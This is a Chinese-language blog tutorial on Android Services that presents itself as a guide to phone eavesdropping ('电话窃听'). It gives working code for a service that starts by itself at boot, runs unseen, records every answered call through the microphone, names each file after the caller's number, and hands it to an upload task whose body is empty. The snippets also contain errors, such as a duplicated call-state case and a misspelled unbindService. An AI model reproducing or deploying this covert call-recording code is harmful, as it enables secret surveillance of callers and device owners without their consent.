android服务Service----实现电话监听录音

最新推荐文章于 2024-05-09 12:19:51 发布

java_天照

最新推荐文章于 2024-05-09 12:19:51 发布

阅读量2.1k

点赞数

Android中的服务和windows中服务是类似的东西，服务一般没有用户操作界面，它运行于系统中不容易被用户发觉，可以使用它开发如监控之类的程序。服务的开发比较简单，如下：

第一步，继承Service类

publicclass SMSService extends Service{}

第二步，在AndroidManifest.xml文件中的<application>节点里对服务进行配置：

<serviceandroid:name= ".SMSService"/>

服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service，但是它们的使用场合有所不同。使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止。

采用Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接者调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并不会导致多次创建服务，但会导致多次调用onStart()方法，采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用onDestroy()方法。

电话窃听：

要实现电话窃听，需要监听电话的状态，方法如下：

TelephonyManager telManager =(TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);

telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);

private class TelListener extends PhoneStateListener{

@Override

public void onCallStateChanged(int state, StringincomingNumber) {

try{

switch (state) {

case TelephonyManager.CALL_STATE_IDLE: //无任何状态时

break;

case TelephonyManager.CALL_STATE_OFFHOOK: //接起电话时

break;

case TelephonyManager.CALL_STATE_OFFHOOK: //接起电话时

break;

default:

break;

}

}catch (Exception e) {

e.printStackTrace();

}

super.onCallStateChanged(state, incomingNumber);

}

在清单文件AndroidManifest.xml中添加权限

<uses-permissionandroid:name="android.permission.READ_PHONE_STATE"/>

音频采集：

你可以使用手机进行现场录音，实现步骤如下：

第一步：在功能清单文件AndroidManifest.xml中添加音频刻录权限

<uses-permissionandroid:name="android.permission.RECORD_AUDIO"/>

第二步：编写音频刻录代码：

MediaRecorder recorder = new MediaRecorder();

recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音

recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式

recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式

File audioFile = new File(getCacheDir(), incomingNumber + "_" + System.currentTimeMillis()+ ".3gp");

recorder.setOutputFile(audioFile.getAbsolutePath());

recorder.prepare(); //预期准备

recorder.start(); //开始刻录

…………

recorder.stop(); //停止刻录

recorder.reset(); //重设

recorder.release(); //释放资源

采用Context.bindService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onBind()方法，这个时候调用者和服务绑定在一起，如果客户端要与服务进行通信，那么，onBind()方法必须返回IBinder对象，如果调用者退出了，系统就会先调用服务的onUnbind()方法，接着调用onDestroy()方法，如果调用bindService()方法前服务已经被绑定，多次调用bindService()方法并不会导致多次创建服务及绑定(也就是说onCreate()和onBind()方法并不会被多次调用)，如果调用者希望与正在绑定的服务解除绑定，可以调用nbindService()方法，调用该方法也会导致系统调用服务的onUnbind() --> onDestroy()方法。

事例：

开机启动监听服务

[java]view plaincopy 
   
 package com.king.phone;  
   
 import android.content.BroadcastReceiver;  
 import android.content.Context;  
 import android.content.Intent;  
 import android.util.Log;  
   
 public class BootBroadcastReceiver extends BroadcastReceiver{  
   
     private static final String TAG = "PhoneListener";  
     @Override  
     public void onReceive(Context context, Intent intent) {  
         Log.i(TAG, "boot completed received");  
         Intent service = new Intent(context, PhoneListenService.class);  
         context.startService(service);  
     }  
   
 }  

监听来电信息，并进行录音，上传

[html]view plaincopy 
   
 package com.king.phone;  
   
 import java.io.File;  
   
 import android.app.Service;  
 import android.content.Context;  
 import android.content.Intent;  
 import android.media.MediaRecorder;  
 import android.os.IBinder;  
 import android.telephony.PhoneStateListener;  
 import android.telephony.TelephonyManager;  
 import android.util.Log;  
   
 public class PhoneListenService extends Service{  
   
     private static final String TAG = "PhoneListener";  
     @Override  
     public void onCreate() {  
         TelephonyManager telManager = (TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);  
         telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);  
         Log.i(TAG, "service created");  
         super.onCreate();  
     }  
       
     @Override  
     public void onDestroy() {  
         //清空缓存目录下的所有文件  
         File[] files = getCacheDir().listFiles();  
         if(files != null){  
             for(File f : files ){  
                 f.delete();  
             }  
         }  
         Log.i(TAG, "service destroy");  
         super.onDestroy();  
     }  
       
     private class TelListener extends PhoneStateListener{  
   
         private MediaRecorder recorder;  
         private String mobile;  
         private File audioFile;  
         private boolean record;  
           
         @Override  
         public void onCallStateChanged(int state, String incomingNumber) {  
             try{  
                 switch (state) {  
                     case TelephonyManager.CALL_STATE_IDLE: //无任何状态时  
                         if(record){  
                             recorder.stop(); //停止刻录  
                             recorder.release(); //释放资源  
                             record = false;  
                             new Thread(new UploadTask()).start();  //将录音文件上传  
                         }  
                         break;  
                     case TelephonyManager.CALL_STATE_OFFHOOK: //接起电话时  
                         recorder = new MediaRecorder();  
                         recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音  
                         recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式  
                         recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式  
                         audioFile = new File(getCacheDir(), incomingNumber + "_" + System.currentTimeMillis() + ".3gp");  
                         recorder.setOutputFile(audioFile.getAbsolutePath());  
                         recorder.prepare(); //预期准备  
                         recorder.start(); //开始刻录  
                         record = true;  
                         Log.i(TAG, "start record");  
                         break;  
                     case TelephonyManager.CALL_STATE_RINGING: //电话进来时  
                         mobile = incomingNumber;  
                         Log.i(TAG, incomingNumber + " coming");  
                         break;  
           
                     default:  
                         break;  
                       
                     }  
                 }catch (Exception e) {  
                     e.printStackTrace();  
             }  
             super.onCallStateChanged(state, incomingNumber);  
         }  
           
     }  
       
     private final class UploadTask implements Runnable{  
   
         @Override  
         public void run() {  
             //上传文件操作  
         }  
           
     }  
       
       
     @Override  
     public IBinder onBind(Intent intent) {  
         // TODO Auto-generated method stub  
         return null;  
     }  
   
 }  

AndroidManifest.xml

[html]view plaincopy 
   
 <?xml version="1.0" encoding="utf-8"?>  
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
       package="com.king.phone"  
       android:versionCode="1"  
       android:versionName="1.0">  
     <uses-sdk android:minSdkVersion="8" />  
   
     <application android:icon="@drawable/icon" android:label="@string/app_name">  
         <service android:name=".PhoneListenService"></service>  
         <receiver android:name=".BootBroadcastReceiver">  
             <intent-filter>  
                 <action android:name="android.intent.action.BOOT_COMPLETED"/>  
             </intent-filter>  
         </receiver>  
               
     </application>  
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>  
     <uses-permission  android:name="android.permission.INTERNET"/>  
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>  
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>  
   
 </manifest>  